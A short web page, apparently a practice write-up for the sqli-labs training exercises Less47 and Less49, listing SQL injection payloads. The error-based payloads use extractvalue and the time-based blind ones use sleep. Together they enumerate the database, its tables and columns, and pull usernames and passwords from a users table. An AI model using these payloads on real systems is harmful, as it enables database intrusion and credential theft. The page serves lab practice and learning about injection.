当前位置:网站首页>SQL injection Less47 (error injection) and Less49 (time blind injection)
SQL injection Less47 (error injection) and Less49 (time blind injection)
2022-07-31 22:51:00 【HUAWEI CLOUD】
Less47 and Less49 can't use rand() Boolean blind annotation
Because there are single quotes to closeorder by 'rand()'
This statement obviously cannot be executedp>
Less47
?sort=1' and extractvalue(0,concat(0x7e,database()))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+
?sort=1' and extractvalue(0,concat(0x7e, (select group_concat(username,password) from users)))--+
Less49
?sort=1' and sleep(5)--+
?sort=1' and if(1,sleep(5),0)--+
?sort=1' and if(length(database())=8,sleep(5),0)--+
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
?sort=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+
?sort=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0)--+
边栏推荐
- SQL注入 Less46(order by后的注入+rand()布尔盲注)
- PHP三元(三目)运算符
- Handwritten a simple web server (B/S architecture)
- 「SDOI2016」征途 题解
- 22年8月推广大使额外奖励规则
- A few permanent free network transmission, convenient and simple (Intranet through tutorials)
- 20. Support vector machine - knowledge of mathematical principles
- ThreadLocal
- 【Acwing】The 62nd Weekly Game Solution
- 如何减少软件设计和实现之间鸿沟
猜你喜欢
Recognize anomalies (you will understand after reading this)
Go mode tidy reports an error go warning “all” matched no packages
The article you worked so hard to write may not be your original
The latest masterpiece!Alibaba just released the interview reference guide (Taishan version), I just brushed it for 29 days
景区手绘地图的绘制流程
Daily practice——Randomly generate an integer between 1-100 and see how many times you can guess.Requirements: The number of guesses cannot exceed 7 times, and after each guess, it will prompt "bigger"
Judging decimal points and rounding of decimal operations in Golang
【Acwing】第62场周赛 题解
[Open class preview]: Research and application of super-resolution technology in the field of video image quality enhancement
Golang - from entry to abandonment
随机推荐
信息学奥赛一本通 1941:【07NOIP普及组】Hanoi双塔问题 | 洛谷 P1096 [NOIP2007 普及组] Hanoi 双塔问题
The difference between adding or not adding the ref keyword when a variable of reference type is used as a parameter in a method call in C#
linux view redis version command (linux view mysql version number)
不知道该怎么办的同步问题
数据分析(一)——matplotlib
标段参数说明
程序进程和线程(线程的并发与并行)以及线程的基本创建和使用
嵌入式开发没有激情了,正常吗?
Realize serial port receiving data based on STM32 ring queue
Istio introduction
PHP三元(三目)运算符
Components of TypeScript
【Acwing】The 62nd Weekly Game Solution
Talking about the algorithm security of network security
Weekly Summary
景区手绘地图的绘制流程
@JsonFormat(pattern=“yyyy-MM-dd“)时间差问题
Dry goods | 10 tips for MySQL add, delete, change query performance optimization
"APIO2010" Patrol Problem Solution
Write a database document management tool based on WPF repeating the wheel (1)